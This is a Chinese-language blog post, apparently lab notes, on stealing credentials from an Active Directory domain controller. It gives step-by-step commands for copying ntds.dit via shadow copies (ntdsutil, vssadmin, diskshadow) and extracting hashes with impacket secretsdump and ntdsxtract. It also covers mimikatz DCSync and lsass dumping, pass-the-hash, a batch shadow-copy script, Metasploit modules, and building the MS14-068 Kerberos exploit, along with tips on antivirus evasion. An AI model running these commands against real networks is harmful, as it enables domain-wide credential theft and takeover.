内网域控制器安全
环境搭建
https://www.cnblogs.com/thebeastofwar/p/17688666.html
前言
在通常情况下,即使用友管理员权限也无法读取域控制器中的C:\Windows\NTDS\ntds.dit
文件,ntds.dit是个二进制文件,包含了很多敏感信息,包含(但不限于)用户名,散列值,组,
GPP,OU等与活动目录相关的信息。它和SAM文件一样,是被windows操作系统锁定的
利用卷影拷贝服务提取ntds.dit
1.ntdsutil.exe(默认安装在域控制器上,支持windows server 2003,windows server 2008,windows server 2012)
在域控制器(windows2012)中输入以下命令,创建一个快照,该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制
ntdsutil snapshot "activate instance ntds" create quit quit
看到创建了一个快照
接下来,加载刚刚创建的快照
ntdsutil snapshot "mount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit
然后将快照中的文件复制出来
mkdir C:\temp
copy C:\$SNAP_202310041424_volumec$\windows\ntds\ntds.dit C:\temp\ntds.dit
然后删掉快照
ntdsutil snapshot "unmount {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" "delete {fc11f4b7-757d-4ad4-aca1-65c2302d1ee6}" quit quit
再次查询当前系统中的所有快照,显示没有任何快照
ntdsutil snapshot "List All" quit quit
2.vssadmin
和ntdsutil利用方式差不多
创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
然后将卷影中的ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit2
然后删除快照
vssadmin delete shadows /for=c: /quiet
3.vssown.vbs
下载https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
保存为vssown.vbs
然后利用这个方法放进没有vmtools且网络隔离的windows2012
https://www.cnblogs.com/thebeastofwar/p/17691274.html
启动卷影拷贝服务
cscript vssown.vbs /start
创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
列出当前卷影拷贝
cscript vssown.vbs /list
复制出ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\ntds\ntds.dit C:\temp\ntds.dit3
然后删除卷影拷贝
cscript vssown.vbs /delete {870D2FE7-6138-484F-98BB-58D313004A0C}
4.ntdsutil的IFM
ntdsutil "ac i ntds" "ifm" "create full c:/test2" quit quit
然后就可以复制出ntds.dit
cd c:/test2
cd A*
copy ntds.dit c:/temp/ntds.dit4
cd ..
cd registry
copy SYSTEM c:/temp/SYSTEM
5.diskshadow
注意不能用echo往command.txt写,得直接打开command.txt写
exec c:\windows\system32\calc.exe
diskshadow /s c:\command.txt
然后在command.txt中写入(无//后的内容)
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到c盘中
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
//删除所以的快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
然后
cd c:\windows\system32
diskshadow c:\command.txt
避坑:
解决:在利用https://www.cnblogs.com/thebeastofwar/p/17691274.html
向虚拟机里传文件时候不用写//和//后的内容
然后再将system.hive转储,因为system.hive中存放着ntds.dit的密钥,没有的话会无法查看ntds.dit中的信息
reg save hklm\system c:\system.hive
然后利用此方法将文件从虚拟机中导出来
https://www.cnblogs.com/thebeastofwar/p/17691274.html
目前我们有ntds.dit,system.hive,SYSTEM
导出ntds.dit中的散列值
1.esedbexport
1)导出ntds.dit
下载 libesedb https://github.com/libyal/libesedb/releases
kali下载依赖
apt install autoconf automake autopoint libtool pkg-config -y
然后执行
./configure
make && make install && ldconfig
然后提取ntds.dit
esedbexport -m tables ntds.dit
2)导出散列值
下载 https://github.com/csababarta/ntdsxtract
安装
python2 setup.py build && python2 setup.py install
将ntds.export,dit和SYSTEM放在当前目录
注意根据datatable.x和link_table.x改变参数
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
ntds.dit包含域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息以及其他信息
python2 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv
2.impacket
下载 https://github.com/fortra/impacket
安装
python2 setup.py install
本地列出散列值
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
远程hash传递列出散列值
impacket-secretsdump -hashes xxx -just-dc domain/user@ip
3.NTDSDumpex.exe(失败)
下载 https://github.com/zcgonvh/NTDSDumpEx/releases
执行
NTDSDumpex.exe -d ntds.dit -s system
利用dcsync获取域散列值
1)把mimikatz.exe传送到域控制器,然后执行(不建议,因为得考虑免杀)
mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /all /csv" exit
还可以单独导出一个用户的
mimikatz.exe "log" "lsadump::dcsync /domain:hacker.testlab /user:Administrator" exit
或者在域控制器中通过转储lsass.exe进程对散列值进行dump操作
mimikatz.exe "log" "privilege::debug" "lsadump::lsa /inject" exit
避坑:
以下这种方法是只能导出本机的散列值,但是我们想要整个域的散列值
利用procdump.exe导出lsass.dmp然后传回攻击机内利用mimikatz进行散列值dump操作
将procdump.exe上传到域控制器内
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后再攻击机内执行
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
发现只有本机的散列值
2)Invoke-DCSync.ps1
下载 https://gist.github.com/monoxgas/9d238accd969550136db
powershell -exec bypass -Command Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat
不知为啥还是只导出本地的散列值
使用msf
1.psexec_ntdsgrab(无会话)
2.domain_hashdump(有会话)
使用vshadow.exe和QuarksPwDump.exe(复现失败)
vshadow.exe下载
链接:https://pan.baidu.com/s/1ssXIjvqrZZqT9uk-yeVqfg?pwd=xebu
提取码:xebu
QuarksPwDump.exe下载 https://github.com/tuthimi/quarkspwdump/blob/master/Release/QuarksPwDump.exe
ShadowCopy.bat 代码
setlocal
@REM test if we are called by VSHADOW
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
@REM
@REM Get the source and destination path
@REM
set SOURCE_DRIVE_LETTER=%~d1
set SOURCE_RELATIVE_PATH=%~pnx1
set DESTINATION_PATH=%2
@REM
@REM Create the shadow copy - and generate env variables into a temporary script.
@REM
@REM Then, while the shadow is still live
@REM recursively execute the same script.
@REM
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
%~dp0\vshadow.exe -script=%TEMP_GENERATED_SCRIPT% -exec=%CALLBACK_SCRIPT% %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@REM
@REM This generated script should set the SHADOW_DEVICE_1 env variable
@REM
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@REM
@REM This should copy the file to the right location
@REM
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
Kerberos域用户提权漏洞分析和防范(未完)
1.PyKEK工具包
下载 https://github.com/mubix/pykek
windows下
pip2 install pyinstaller==3.2.1 -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com
然后再script目录下将pyinstaller.exe改为pyinstall2.exe
然后打包
pyinstaller2 --onedir --clean ms14-068.py
然后再build目录下会产生ms14-068.exe文件